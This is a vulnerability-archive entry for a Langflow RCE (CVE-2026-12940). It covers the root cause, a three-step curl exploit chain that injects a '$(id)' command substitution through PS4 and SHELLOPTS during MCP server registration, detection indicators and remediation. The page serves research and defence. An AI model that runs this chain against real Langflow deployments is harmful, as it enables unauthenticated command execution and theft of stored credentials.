Langflow OSS MCP stdio Environment-Variable Injection to Unauthenticated RCE (CVE-2026-12940)
Published: 2026-11-27 • Researcher: Caio Fabrício (BiiTts), upstream PoC author; CVE assigned by IBM as CNA
- Severity
- Critical
- CVE
- CVE-2026-12940
- Category
- web
- Affected product
- Langflow OSS (langflow-ai/langflow), MCP stdio server registration and launcher
- Affected versions
- 1.0.0 through 1.10.1. Fixed in 1.10.2 (NVD range: start including 1.0.0, end excluding 1.10.2).
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-08-03 |
| Author / Researcher | Caio Fabrício (BiiTts), upstream PoC author; CVE assigned by IBM as CNA |
| CVE / Advisory | CVE-2026-12940 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, IBM CNA / NVD) |
| Status | Weaponized (upstream demonstrates end-to-end command execution with captured evidence; not re-executed during archival) |
| Tags | langflow, mcp, stdio, environment-variable-injection, shellopts, ps4, bash, command-injection, unauthenticated, rce, cwe-78 |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Langflow OSS (langflow-ai/langflow), MCP stdio server registration and launcher |
| Versions Affected | 1.0.0 through 1.10.1. Fixed in 1.10.2 (NVD range: start including 1.0.0, end excluding 1.10.2). |
| Language / Platform | Python (FastAPI backend) with a bash-based MCP stdio launcher; Linux containers |
| Authentication Required | No on a default deployment, because auto-login is enabled and mints a superuser token. A valid token or API key is required when auto-login is disabled. |
| Network Access Required | Yes, HTTP access to the Langflow API (default port 7860 on the reference image) |
Summary
Langflow OSS 1.0.0 through 1.10.1 permits unauthenticated remote code execution through environment variables accepted during MCP stdio server registration. The registration validator checks environment variable names against a blocklist that omits SHELLOPTS, BASHOPTS and PS4, and it never inspects the values. The MCP launcher then runs the configured command in a bash child process with the attacker-supplied environment, so setting SHELLOPTS to xtrace and putting a command substitution in PS4 executes that command before the first traced statement. On the default 1.10.1 image auto-login issues a superuser token without credentials, which makes the full chain reachable by any network client.
Vulnerability Details
Root Cause
Langflow exposes MCP stdio server registration at POST /api/v2/mcp/servers/{name}. The request body is parsed into MCPServerConfig in src/backend/base/langflow/api/v2/schemas.py, whose validators constrain the command to an allowlist, reject shell metacharacters and dangerous keywords in args, and reject dangerous environment variable keys. Two gaps combine:
- The env validator in 1.10.1 iterates over the dictionary keys only. Values are passed through verbatim, so a PS4 value containing command substitution is accepted even though the same characters would be rejected in args.
- The DANGEROUS_ENV_VARS blocklist in 1.10.1 does not contain shellopts, bashopts or ps4. It covers loader and interpreter variables such as LD_PRELOAD, PATH, NODE_OPTIONS, PYTHONPATH and BASH_ENV, but not these bash shell-control variables.
The sink is MCPStdioClient._connect_to_server in src/lfx/src/lfx/base/mcp/util.py. The attacker-supplied env dictionary is merged into env_data and passed to StdioServerParameters, which runs the command through bash -c. When SHELLOPTS contains xtrace, bash enables set -x at startup, and bash expands the PS4 prompt before executing the first traced line. Because PS4 undergoes parameter expansion and command substitution, a value such as $(id) executes immediately, independently of the command and args that the allowlist approved. The configured MCP command does not even need to be valid for the payload to run.
The 1.10.2 fix centralizes the blocklist as DANGEROUS_MCP_ENV_VARS, adds shellopts, bashopts, ps4 and env, and routes validation through is_dangerous_mcp_env_var. The env value is still not sanitized in the fix; the specific keys are simply blocked.
Attack Vector
An unauthenticated HTTP client on a default 1.10.1 deployment performs three requests:
- GET /api/v1/auto_login returns a superuser bearer token without credentials.
- POST /api/v2/mcp/servers/{name} with a JSON body whose command is an allowlisted value such as uvx, whose args contain no metacharacters, and whose env contains SHELLOPTS set to xtrace and PS4 set to a command substitution.
- GET /api/v2/mcp/servers?action_count=true makes the backend enumerate configured servers, which instantiates MCPStdioClient and spawns bash -c with the injected environment.
Where authentication is enforced, any authenticated user holding a valid token or API key can perform the same steps.
Impact
Arbitrary command execution as the Langflow service account. An attacker can read every flow, credential and secret stored in the Langflow database, reach internal services and cloud metadata endpoints, modify or exfiltrate application data, and use the host as a pivot into the surrounding network. The upstream evidence shows execution as uid 1000 in the container with group 0, plus an out-of-band callback carrying the real hostname and kernel of the target.
Environment / Lab Setup
OS: Linux host with Docker (upstream tested from a Kali host)
Target: langflowai/langflow:1.10.1 container, host networking,
listening on http://127.0.0.1:7860 with default configuration
Attacker: Python 3.9+ (standard library only: argparse, json, urllib)
Tools: docker, python3, curl, optional netcat listener for OOB verificationSetup Steps
The upstream lab uses the stock image with no weakened settings. Langflow 1.10.1 ships with auto-login enabled, which is what removes the authentication bar. The reference environment has no usable Docker bridge, so the container uses host networking:
| |
A patched comparison instance can be started with langflowai/langflow:1.10.2. The upstream notes that the 1.10.2 image additionally requires credentials to start, which is unrelated hardening, and that the same registration then returns HTTP 422.
The exploit itself has no third-party Python dependencies.
Proof of Concept
Step-by-Step Reproduction
Obtain a token without credentials - confirm that the default deployment mints a superuser token through auto-login.
Shell script1 2curl -s http://127.0.0.1:7860/api/v1/auto_login # returns {"access_token":"...","refresh_token":"...","token_type":"bearer"}Register the malicious MCP server - command and args pass the allowlist, and the payload rides in an env value under an unblocked key.
Shell script1 2 3 4 5 6 7 8TOKEN='<access_token from step 1>' curl -s -o /dev/null -w '%{http_code}\n' \ -X POST "http://127.0.0.1:7860/api/v2/mcp/servers/pwn" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"command":"uvx","args":["mcp-server-fetch"], "env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}' # expected 200; a control request using LD_PRELOAD returns 422Trigger the launcher - enumerating servers with action_count=true forces the backend to spawn bash -c with the injected environment.
Shell script1 2 3curl -s -o /dev/null -w '%{http_code}\n' \ -H "Authorization: Bearer $TOKEN" \ "http://127.0.0.1:7860/api/v2/mcp/servers?action_count=true"Verify execution - read the file written by the PS4 command substitution from the container.
Shell script1 2docker exec lf-12940 cat /tmp/proof # uid=1000(user) gid=0(root) groups=0(root)Alternative confirmation - use the –ps4 option of the bundled script to send a raw primitive such as an out-of-band TCP callback. The upstream transcript records a callback carrying the target hostname and kernel.
Exploit Code
See
exploit.pyin this folder. Upstream notes are inupstream-README.mdand the source walkthrough is inupstream-ANALYSIS.md. The lab compose file islab/docker-compose.yml.
| |
The full script also handles token acquisition through /api/v1/auto_login, accepts a caller-supplied token for authenticated instances, and exposes –cmd and –ps4 for command selection or raw primitives.
Expected Output
| |
On 1.10.2 the registration is rejected before the launcher is reached:
| |
Detection & Indicators of Compromise
Look for MCP server registration requests whose env object carries shell-control keys, particularly SHELLOPTS, BASHOPTS or PS4, followed by an enumeration request with action_count=true. On the host, look for bash -c children of the Langflow or gunicorn worker process, especially ones whose parent process is Langflow and whose command line begins with exec. Also look for unexpected files written by the service account and outbound TCP connections originating from the Langflow process.
POST /api/v2/mcp/servers/* body contains "SHELLOPTS", "BASHOPTS" or "PS4"
GET /api/v2/mcp/servers?action_count=true shortly after a registration
bash -c "exec <command> || echo 'Command failed with exit code $?' >&2"
parent: langflow / gunicorn worker
HTTP 200 on registration for env keys that should be rejected
HTTP 422 with "Environment variable '...' is not allowed" on patched versionsSIEM / IDS Rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Langflow OSS to 1.10.2 or later. The fix adds shellopts, bashopts, ps4 and env to the centralized DANGEROUS_MCP_ENV_VARS blocklist and rejects them at registration. |
| Workaround | Do not enable auto-login on reachable instances; require explicit superuser credentials and restrict the API to trusted networks. Where MCP stdio servers are not needed, disable the feature. |
| Config Hardening | Run Langflow under a dedicated low-privilege account with no unnecessary outbound egress, keep the service off untrusted networks, monitor MCP server registrations, and audit registered servers for unexpected env entries. |
References
Notes
Auto-prepared on 2026-11-27 from the public repository BiiTts/CVE-2026-12940-Langflow-Unauth-RCE. Review verdict: genuine exploit code that implements and demonstrates the vulnerability, not a detector, scanner or version audit. The script performs the full chain (auto-login token, malicious MCP registration, launcher trigger) and the upstream repository includes a captured transcript showing real id output and an independent out-of-band callback. The archive did not execute the exploit; the expected output above is quoted from the upstream evidence.
Limitations: the unauthenticated claim depends on auto-login being enabled, which is the default on the 1.10.1 image but not guaranteed on hardened deployments; the RCE itself still applies to any authenticated user with a valid token. The exploit only runs command substitutions through bash, so non-bash targets or environments that sanitize PS4/SHELLOPTS are not affected. The analysis notes that the 1.10.2 fix blocks the specific keys but still does not sanitize env values.
The upstream file EVIDENCE.txt was not copied because it contains live-looking JWT bearer tokens from the lab; the transcript is summarized above and remains available at the upstream repository. The upstream repository has no separate LICENSE file, but exploit.py declares MIT and README.md credits Caio Fabrício (BiiTts), so the code is archived with attribution for research use only and all other rights remain with the author. The most recent upstream commit is dated 2026-08-03.
| |